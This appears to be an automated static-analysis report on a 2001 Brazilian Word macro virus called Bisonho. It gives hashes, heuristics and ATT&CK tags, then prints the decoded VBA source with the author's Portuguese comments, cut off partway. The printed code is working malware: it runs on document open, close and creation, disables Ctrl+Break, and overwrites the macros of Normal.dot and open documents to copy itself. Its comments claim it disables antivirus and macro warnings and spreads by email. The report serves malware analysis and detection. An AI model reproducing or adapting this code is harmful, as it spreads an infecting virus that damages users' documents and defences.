Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f5e24d851127bbcd…

MALICIOUS

Office (OLE)

69.0 KB Created: 2001-02-24 18:34:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6100093bb915919ad6a7ec7cdc8e627d SHA-1: c5845b16d7abc042393bd1f010f3e74f07d2806a SHA-256: f5e24d851127bbcdd8b3e5fe6e363a2610b37e0200332846b0d0d73404f87d59
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is a Microsoft Word document containing a malicious VBA macro. The macro is triggered by the Document_Open event and utilizes the Shell() function to execute arbitrary code. The ClamAV detection 'Doc.Trojan.Ocor-1' indicates this is a known malicious document. The macro's intent is to download and execute a second-stage payload, as suggested by the use of Shell() and the heuristic firings.

Heuristics 5

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 71770 bytes
SHA-256: 1386224a9153398ce80235a28b31b81e65db23b7cdd8155effe6f5a0fdde586e
Detection
ClamAV: Doc.Trojan.Ocor-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Módulo1"
''''''''''''''''''''''''''''' BISONHO '''''''''''''''''''''''''''''''''''''''
'Bisonho Rulez
'OBS: Cuidado com essa linha ai de cima senao o virus da pau, nao deletem
'
'NOME DO VIRUS  : BISONHO
'AUTOR          : DICK MOE (FUNDADOR DO GRUPO)
'GRUPO          : A BERNE MALTESA
'EMAIL          : BERNEMALTESA@IEG.COM.BR OU TBUG@IG.COM.BR
'ORIGEM         : BRASIL, FEV 2001
'ICQ UIN        : 76267835
'
'INFECTA        : DOC, DOT DAS VERSÕES DO WORD 97, 2000...
'POLIMORFO      : NAO
'MUTANTE        : NAO
'ENCRIPTADO     : ISSO EU NAO SEI FAZER MESMO. QUEM SOUBER ME AJUDE PLEASE!
'STEALTH        : SIM, COM MUITAS TECNICAS ATE QUE BEM AVANCADAS
'PROPAGA EMAIL  : SIM (Thanks to melissa...)
'RETRO          : ANIQUILA 7 AV'S, DESABILITA A PORRA DO XõBoBus
'EVENTOS        : UM MONTE...
'PROTECAO       : ACABA COM QUALQUER VIRUS JA EXISTENTE E COMPLICA A VIDA DO
                : ETHAN, ALEM DE DESABILITAR A VERIFICACAO DE MACROS NO WORD,
                : DESABILITAR OS MENUS DE VISUALIZACAO DE MACROS (MACROS E
                : BARRA DE TAREFAS), DESABILITAR AS TECLAS DE ATALHO PARA
                : A LISTA DE MACROS E PARA O EDITOR DO VISUAL BASIC E DESATIVAR
                : O AVISO PARA SALVAR O NORMAL.DOT
'BASE           : COM BASE EM ALGUNS CODIGOS DO MEU VIRUS GHOUL, E EMAIL DO
                  MELISSA
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Sub Document_Close()
'Executa quando um doc e fechado e transfere o controle para a sub
'Document_Open diretamente
    Document_Open
End Sub

Private Sub Document_New()
'Executa quando um doc e criado
'Document_Open diretamente
    Document_Open
End Sub

Private Sub Document_Open()

'Executa quando um doc e aberto e depois transfere o controle para a sub
'RetroAction

On Error Resume Next            'Se ocorrer algum erro... pule!
Application.EnableCancelKey = 0 'Desabilita Control+Break

Set Arch = ActiveDocument.VBProject.VBComponents.Item(1)
'Define as variaveis Arch, que aponta para um doc qualquer ativo,

Set Norm = NormalTemplate.VBProject.VBComponents.Item(1)
'Norm que aponta para o normal.dot, e

Set ItsMe = Me.VBProject.VBComponents.Item(1)
'ItsMe, que indica da onde o virus esta sendo executado.

If Norm.CodeModule.Lines(1, 1) <> "'Bisonho Rulez" Then
'Se a primeira linha do projeto do normal nao for 'Bisonho Rulez, infecte!

Norm.CodeModule.DeleteLines 1, Norm.CodeModule.CountOfLines
'Apaga todo o codigo estranho (que pode ser um outro virus, pq nao?)

Norm.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
'Infecta o arquivo

Norm.Name = "Bisonho"  'Muda o nome do projeto para Bisonho
End If 'Termina o bloco de condicoes *SE*

If Arch.CodeModule.Lines(1, 1) <> "'Bisonho Rulez" Then
'Se a primeira linha do projeto de um arquivo aberto nao for 'Bisonho Rulez, infecte!

Arch.CodeModule.DeleteLines 1, Arch.CodeModule.CountOfLines
'Apaga todo o codigo estranho (que pode ser um outro virus, pq nao?)

Arch.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
'Infecta o arquivo

Arch.Name = "Bisonho"  'Muda o nome do projeto para Bisonho
End If 'Termina o bloco de condicoes *SE*

If Dir("C:\Ethan.___", 6) <> "" Then
'Aha, foi encontrado vestigios do ethan... (eu odeio esse virus nao sei pq)

SetAttr "C:\Ethan.___", vbNormal
'Define o atributo do arquivo como normal, e...
Kill "C:\Ethan.___"                     'Deleta essa droga!
End If                                  'Termina o bloco de condicoes *SE*

RetroAction                             'Chama a sub RetroAction

If Day(Now) = Month(Now) Then ChooseActions
'Chama os eventos se o dia for igual ao mes

If Minute(Now) = Second(Now) Then
'Se o segundo e igu
... (truncated)